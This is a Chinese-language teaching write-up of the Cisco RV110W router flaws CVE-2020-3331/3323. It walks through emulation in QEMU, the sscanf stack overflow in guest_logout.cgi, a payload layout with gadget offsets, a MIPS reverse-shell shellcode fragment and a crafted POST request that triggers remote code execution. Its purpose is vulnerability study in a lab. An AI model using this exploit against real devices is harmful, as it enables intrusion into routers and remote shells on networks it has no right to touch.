思科RV110W CVE-2020-3331 CVE-2020-3323漏洞分析
字数 1110 2025-08-06 08:35:41

思科RV110W漏洞分析教学文档(CVE-2020-3331/CVE-2020-3323)


一、漏洞概述

  • 影响设备:思科RV110W路由器
  • 漏洞类型:格式化字符串漏洞(CVE-2020-3331)和栈溢出漏洞(CVE-2020-3323)
  • 触发点guest_logout.cgi中的sscanf函数
  • 利用条件:通过HTTP POST请求构造恶意参数触发漏洞,实现任意代码执行。

二、环境搭建

1. 模拟环境准备
  • 工具链
    • QEMU模拟器(qemu-system-mipsel
    • MIPS架构内核镜像(vmlinux-3.2.0-4-4kc-malta
    • Debian MIPS磁盘镜像(debian_wheezy_mipsel_standard.qcow2
  • 启动命令
    qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0 nokalsr" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
    
2. NVRAM Hook
  • 问题:路由器固件依赖NVRAM获取配置,模拟环境中需绕过检查。
  • 解决方案:编译动态库nvram.so替换nvram_get函数:
    #include <stdio.h>
    #include <string.h>
    char *nvram_get(char *key) {
        if(strcmp(key, "lan_ipaddr") == 0) return strdup("127.0.0.1");
        return NULL;
    }
    
    • 编译:mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so
    • 启动HTTP服务:LD_PRELOAD="./nvram.so" ./httpd

三、漏洞分析

1. 漏洞定位
  • 关键代码guest_logout.cgi中的sscanf调用:
    sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28); // v11为用户可控输入
    
    • 漏洞成因:未对输入长度校验,导致栈溢出。
2. 利用链构造
  • 覆盖返回地址
    • 通过submit_button参数覆盖栈上的$ra$s0寄存器。
    • Payload结构
      payload = "status_guestnet.asp" + 'a'*49 + p32(jmp_a0) + 0x20*'a' + p32(jmp_s0) + shellcode
      
    • 关键地址
      • jmp_a0libc_base + 0x0003D050(跳转到$a0
      • jmp_s0libc_base + 0x000257A0(跳转到$s0
3. Shellcode编写
  • MIPS反向Shell(无\x00):
    slti $a0, $zero, -1       # 绕过空字节
    li $v0, 4006              # syscall号
    syscall 0x42424           # 触发执行
    
    • 回连配置:修改IP和端口(需转换为大端序)。

四、漏洞利用

1. 攻击步骤
  1. 发送恶意POST请求
    requests.post("http://target/guest_logout.cgi", data={
        "cmac": "7a:29:9f:d3:d2:6e",
        "submit_button": payload,
        "cip": "192.168.1.1"
    })
    
  2. 触发Shellcode
    • 通过jalr $s0跳转到栈上的Shellcode。
    • 实现反向Shell连接攻击者机器。
2. 调试技巧
  • GDB附加
    gdb-multiarch -ex "target remote :1234" -ex "b *0x431b60"
    
  • 栈布局检查
    x/20wx $sp+0x18  # 确认Shellcode位置
    

五、Docker化环境

  • 镜像构建
    FROM vulshare/cve-2020-3331:lxonz
    CMD ["/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh"]
    EXPOSE 80 31337 1234
    
  • 端口映射
    • 80:HTTP服务
    • 31337:反向Shell端口
    • 1234:GDB调试端口

六、参考链接

  1. 原漏洞分析文章
  2. NVRAM模拟技术
  3. MIPS Shellcode编写指南

:实际利用时需根据目标环境调整偏移量和Shellcode。建议在隔离环境中测试。

思科RV110W漏洞分析教学文档(CVE-2020-3331/CVE-2020-3323) 一、漏洞概述 影响设备 :思科RV110W路由器 漏洞类型 :格式化字符串漏洞(CVE-2020-3331)和栈溢出漏洞(CVE-2020-3323) 触发点 : guest_logout.cgi 中的 sscanf 函数 利用条件 :通过HTTP POST请求构造恶意参数触发漏洞,实现任意代码执行。 二、环境搭建 1. 模拟环境准备 工具链 : QEMU模拟器( qemu-system-mipsel ) MIPS架构内核镜像( vmlinux-3.2.0-4-4kc-malta ) Debian MIPS磁盘镜像( debian_wheezy_mipsel_standard.qcow2 ) 启动命令 : 2. NVRAM Hook 问题 :路由器固件依赖NVRAM获取配置,模拟环境中需绕过检查。 解决方案 :编译动态库 nvram.so 替换 nvram_get 函数: 编译: mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so 启动HTTP服务: LD_PRELOAD="./nvram.so" ./httpd 三、漏洞分析 1. 漏洞定位 关键代码 : guest_logout.cgi 中的 sscanf 调用: 漏洞成因 :未对输入长度校验,导致栈溢出。 2. 利用链构造 覆盖返回地址 : 通过 submit_button 参数覆盖栈上的 $ra 和 $s0 寄存器。 Payload结构 : 关键地址 : jmp_a0 : libc_base + 0x0003D050 (跳转到 $a0 ) jmp_s0 : libc_base + 0x000257A0 (跳转到 $s0 ) 3. Shellcode编写 MIPS反向Shell (无 \x00 ): 回连配置 :修改IP和端口(需转换为大端序)。 四、漏洞利用 1. 攻击步骤 发送恶意POST请求 : 触发Shellcode : 通过 jalr $s0 跳转到栈上的Shellcode。 实现反向Shell连接攻击者机器。 2. 调试技巧 GDB附加 : 栈布局检查 : 五、Docker化环境 镜像构建 : 端口映射 : 80 :HTTP服务 31337 :反向Shell端口 1234 :GDB调试端口 六、参考链接 原漏洞分析文章 NVRAM模拟技术 MIPS Shellcode编写指南 注 :实际利用时需根据目标环境调整偏移量和Shellcode。建议在隔离环境中测试。